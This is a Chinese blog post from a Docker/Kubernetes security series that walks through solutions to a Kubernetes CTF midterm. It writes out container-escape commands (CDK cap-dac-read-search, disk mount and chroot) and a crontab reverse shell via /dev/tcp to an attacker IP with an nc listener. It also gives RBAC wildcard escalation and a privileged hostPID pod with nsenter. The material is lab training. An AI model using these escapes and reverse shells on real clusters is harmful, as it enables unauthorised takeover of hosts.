iT邦幫忙

2023 iThome 鐵人賽

DAY 29
0

註 : 因為影片比較長所以拆開來錄/images/emoticon/emoticon37.gif

  • quiz-0 的解題部分。
    Yes

  • quiz-1~ quiz-2 解題部分。
    Yes

  • quiz-3 解題部分(這題的確蠻通靈的)。
    Yes

  • 期中考為 CTF 形式,題目跟規則參考Day23 - 月圓之夜,決戰 K8s CTF 之巔,一共有6題,解題方式參考如下 :

  • 前置準備 : 準備好使用工具包

    1. kubectl
    2. genuinetools/amicontained
    3. cdk-team/CDK
    wget https://github.com/cdk-team/CDK/releases/download/v1.5.2/cdk_linux_amd64 -O cdk ;
    wget https://github.com/genuinetools/amicontained/releases/download/v0.4.9/amicontained-linux-amd64 -O amicontained ;
    curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl" ;
    
    # 開啟伺服器到時候方便抓取工具使用
    python3 -m "http.server" 8080 ;
    
  • 解題思路流程 :

    1. 判斷是否為特權容器(proc、capsh、amicontained)
      # 判斷是否為特權容器
      cat /proc/$$/status ;
      
      # 觀察容器內部狀態
      wget http://192.168.56.116:8080/amicontained && chmod +x amicontained ;
      
      ./amicontained ;
      
      # 觀察開放能力
      capsh --print ;
      
    2. 判斷service token 權限
      wget http://192.168.56.116:8080/kubectl && chmod +x kubectl ;
      ./kubectl auth can-i --list ;
      
    3. 檢查內部元件的開放權限
    4. 確認第三方元件或是工具檢測 (ex: cdk)
      wget http://192.168.56.116:8080/cdk && chmod +x cdk ;
      ./cdk eva --full ;  
      
  1. quiz-0 : 參考 Day12 - (攻擊) k8s Pod 內容器逃逸手法 內容進行解題。
    #解法1 : 知道檔案名稱及位置情況下讀取特定位置檔案,取得 vm_flag
    ./cdk run cap-dac-read-search /tmp/vm_flag
    
    #解法2 : 掛載檔案系統進行 chroot 去搜尋
    fdisk -l ;
    mount /dev/sda2 /mnt ;
    chroot /mnt ;
    cat /tmp/vm_flag ;
    
    # 為了簡化解法,直接進容器的檔案系統搜尋
    cd /var/lib/docker/overlay2 ;
    find . -name "*_flag" ;
    cat ./[代號]/diff/worker0_flag ;
    
    # 解法3 : chroot 後透過 crontab 打反向 revershell 回來,但是過編輯器會有問題,只能換個方式設定
    # 先在本地端準備一個設定 crontab 用的腳本,內容如下 :
    crontab -l > root
    echo '*/1 * * * * bash -c "bash -i >&/dev/tcp/192.168.38.129/8888 0>&1"' >> root
    crontab root
    rm root
    
    # 攻擊機上先監聽對應 port
    nc -lp 8888 ;
    
    # 在容器上執行進行設定 crontab
    cd /tmp && wget http://IP:Prot/腳本名稱 ;
    sh 腳本名稱 ;
    
    # 拿到反打的 shell 後,直接用 docker 指令執行去看 flag 數值
    docker exec minikube-m02 cat /worker0_flag ;
    
  1. quiz-1 (備註:編譯的作業系統、kernel版本保持一致)
  1. quiz-2 : 參考 Day15 - k8s RBAC 介紹及使用
    #1. 下載 kubectl 到受害機器中
    
    #2. 確認 service token 權限
    ./kubectl -n quiz-2 auth can-i --list 
    
    #3. 使用 escalate 修改綁定 clusterrole
    ./kubectl edit clusterrole practice-escalate-cluster-role
    
  • 修改部分參考如下 :
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: practice-escalate-cluster-role
rules:
- apiGroups: ['*']
  resources: ['*']
  verbs: ['*']
  • 但因為受限於這個難用的 shell ,所以只好改成用檔案方式去做 kubectl apply。
# 建立一個特權容器,並掛載 host pid
apiVersion: v1
kind: Pod
metadata:
  name: test
spec:
  hostPID: true
  containers:
  - name: target-pod
    image: aeifkz/my-ubuntu:v1.0
    securityContext:
      privileged: true

# 進入該特權容器後進行跳轉
./kubectl exec -it test -- bash ;
nsenter -m -u -i -n -p -t 1 bash ;

# 因為 hostpid 是 minikube 的容器,所以跳轉後直接看檔案即可
cat worker2_flag ;
  1. quiz-3 : 參考 Day13 - (攻擊) k8s Pod log 目錄掛載逃逸手法
# 建立一個特權容器,並掛載 host pid
apiVersion: v1
kind: Pod
metadata:
  name: test
spec:
  hostPID: true
  containers:
  - name: target-pod
    image: aeifkz/my-ubuntu:v1.0
    securityContext:
      privileged: true

# 進入該特權容器後進行跳轉
./kubectl exec -it test -- bash ;
nsenter -m -u -i -n -p -t 1 bash ;

# 因為 hostpid 是 minikube 的容器,所以跳轉後直接看檔案即可
cat worker3_flag ;
  • flag{March-comes-in-like-a-lion}

    https://ithelp.ithome.com.tw/upload/images/20231007/20148308wBXoWDRmqD.jpg

  • 今日總結 :

    • 本日回顧 :

      • 今天主要是講解了期中考CTF的前四題解法,各位會發現其中第三題的部分從當初講解可以透過掛載 /var/log 到實際進行應用差距了一大段距離,其中包含了要撰寫讀取腳本工具、了解要偷取哪個憑證檔案、進行高權限憑證簽發、透過腳本切換 context 權限,最後拿到特權容器後進行逃逸,也希望這題可以讓大家學到不少東西。/images/emoticon/emoticon37.gif
    • 次日預告 :

      • 剩下最後兩題惹,解完後本次鐵人賽系列就準備告一段落了吧! 嗎? /images/emoticon/emoticon31.gif

上一篇
Day30 - (防禦) SELinux 防禦機制初體驗
下一篇
Day32 - 作業6 解答 - 成功安裝 ksniff 插件並且進行 pod 監聽
系列文
怕痛的我把 Docker、K8s 攻擊、防禦、偵測力點滿就對了63
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言